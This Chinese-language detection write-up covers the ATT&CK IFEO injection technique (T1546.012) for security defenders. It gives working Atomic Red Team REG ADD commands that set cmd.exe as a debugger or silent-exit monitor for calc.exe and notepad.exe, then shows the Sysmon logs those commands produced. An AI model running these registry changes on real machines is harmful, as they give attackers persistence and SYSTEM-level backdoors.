跳转至

T1546-012-win-事件触发执行-图片文件执行选项注入

来自ATT&CK描述

攻击者可以通过执行由图像文件执行选项 (IFEO) 调试器触发的恶意内容来建立持久性或权限提升。IFEO使开发人员能够将调试器附加到应用程序。创建进程时,应用程序的IFEO中的调试器将附加到应用程序的名称之前,从而有效地在调试器下启动新进程(例如,C:\dbg\ntsd.exe -g notepad.exe)。

IFEO可以通过注册表直接设置,也可以通过GFlags工具在Global Flags中设置。IFEO表示为Debugger注册表中的值,在那里是附加调试器的二进制文件HKLM\SOFTWARE{{\Wow6432Node}}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\``<executable>

IFEO还可以在指定程序静默退出(即被自身或第二个非内核模式进程提前终止)时启动任意监控程序。与调试器类似,静默退出监控可以通过GFlags或通过直接修改 IFEO和静默进程退出注册表值来启用HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\

与Accessibility Features类似,在 Windows Vista 和更高版本以及 Windows Server 2008或更高版本上,可以修改注册表项,将“cmd.exe”或其他提供后门访问的程序配置为可访问性程序的“调试器” (例如:utilman.exe)。修改注册表后,在使用键盘或与远程桌面协议连接时在登录屏幕上按适当的组合键将导致“调试器”程序以 SYSTEM 权限执行。

与Process Injection类似,这些值也可能被滥用,通过利用恶意可执行文件在计算机上不同进程的上下文中加载和运行来获得权限提升。安装IFEO机制还可以通过持续触发调用来提供持久性。

恶意软件还可能通过注册无效调试器来使用IFEO来减少防御,这些调试器重定向并有效地禁用各种系统和安全应用程序。

测试案例

测试1 IFEO Add Debugger

测试命令,用命令提示符运行,需要管理员权限(root/admin):

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
target_binary:C:\Windows\System32\calc.exe payload_binary:C:\Windows\System32\cmd.exe 清理命令:
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1

测试2 IFEO Global Flags

测试命令,用命令提示符运行,需要管理员权限(root/admin):

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
target_binary:C:\Windows\System32\notepad.exe payload_binary:C:\Windows\System32\cmd.exe 清理命令:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1

检测日志

Windows Sysmon日志

测试复现

测试1 IFEO Add Debugger

C:\Users\Administrator.ZHULI>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe"
操作成功完成。

C:\Users\Administrator.ZHULI>reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\calc.exe" /v Debugger /f >nul 2>&1

测试2 IFEO Global Flags

C:\Users\Administrator.ZHULI>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
操作成功完成。

C:\Users\Administrator.ZHULI>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\C:\Windows\System32\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
操作成功完成。

C:\Users\Administrator.ZHULI>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\C:\Windows\System32\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\cmd.exe"
操作成功完成。

C:\Users\Administrator.ZHULI>reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\notepad.exe" /v GlobalFlag /f >nul 2>&1

C:\Users\Administrator.ZHULI>reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\C:\Windows\System32\notepad.exe" /v ReportingMode /f >nul 2>&1

C:\Users\Administrator.ZHULI>reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\C:\Windows\System32\notepad.exe" /v MonitorProcess /f >nul 2>&1

测试留痕

测试1 ## IFEO Add Debugger

#进程创建事件,EventID:1      

Process Create:

RuleName: technique_id=T1112,technique_name=Modify Registry

UtcTime: 2022-01-13 07:34:03.518

ProcessGuid: {78c84c47-d5eb-61df-c829-000000000800}

ProcessId: 3704

Image: C:\Windows\System32\reg.exe

FileVersion: 10.0.17763.1 (WinBuild.160101.0800)

Description: Registry Console Tool

Product: Microsoft® Operating System

Company: Microsoft Corporation

OriginalFileName: reg.exe

CommandLine: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe"

CurrentDirectory: C:\Users\Administrator.ZHULI\

User: ZHULI\Administrator

LogonGuid: {78c84c47-f665-61db-95da-440100000000}

LogonId: 0x144DA95

TerminalSessionId: 3

IntegrityLevel: High

Hashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B,MD5=8A93ACAC33151793F8D52000071C0B06,SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC

ParentProcessGuid: {78c84c47-d076-61df-ec28-000000000800}

ParentProcessId: 5864

ParentImage: C:\Windows\System32\cmd.exe

ParentCommandLine: "C:\Windows\system32\cmd.exe" 

ParentUser: ZHULI\Administrator

#注册表修改事件,EventID:13
Registry value set:

RuleName: technique_id=T1546.012,technique_name=Image File Execution Options Injection

EventType: SetValue

UtcTime: 2022-01-13 07:34:03.518

ProcessGuid: {78c84c47-d5eb-61df-c829-000000000800}

ProcessId: 3704

Image: C:\Windows\system32\reg.exe

TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\calc.exe\Debugger

Details: C:\Windows\System32\cmd.exe

User: ZHULI\Administrator

测试2 IFEO Global Flags

#进程创建事件不再列举,重点关注一下注册表更改信息,事件ID:13
Registry value set:

RuleName: technique_id=T1546.012,technique_name=Image File Execution Options Injection

EventType: SetValue

UtcTime: 2022-01-13 07:42:06.705

ProcessGuid: {78c84c47-d7ce-61df-122a-000000000800}

ProcessId: 6828

Image: C:\Windows\system32\reg.exe

TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\C:\Windows\System32\notepad.exe\GlobalFlag

Details: DWORD (0x00000200)

User: ZHULI\Administrator

检测规则/思路

建议

这种类型的攻击技术无法通过预防性控制轻松缓解,因为它基于对系统功能的滥用。

参考推荐

MITRE-ATT&CK-T1546-012

https://attack.mitre.org/techniques/T1546/012

Atomic-red-team-T1546-012

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.012/T1546.012.md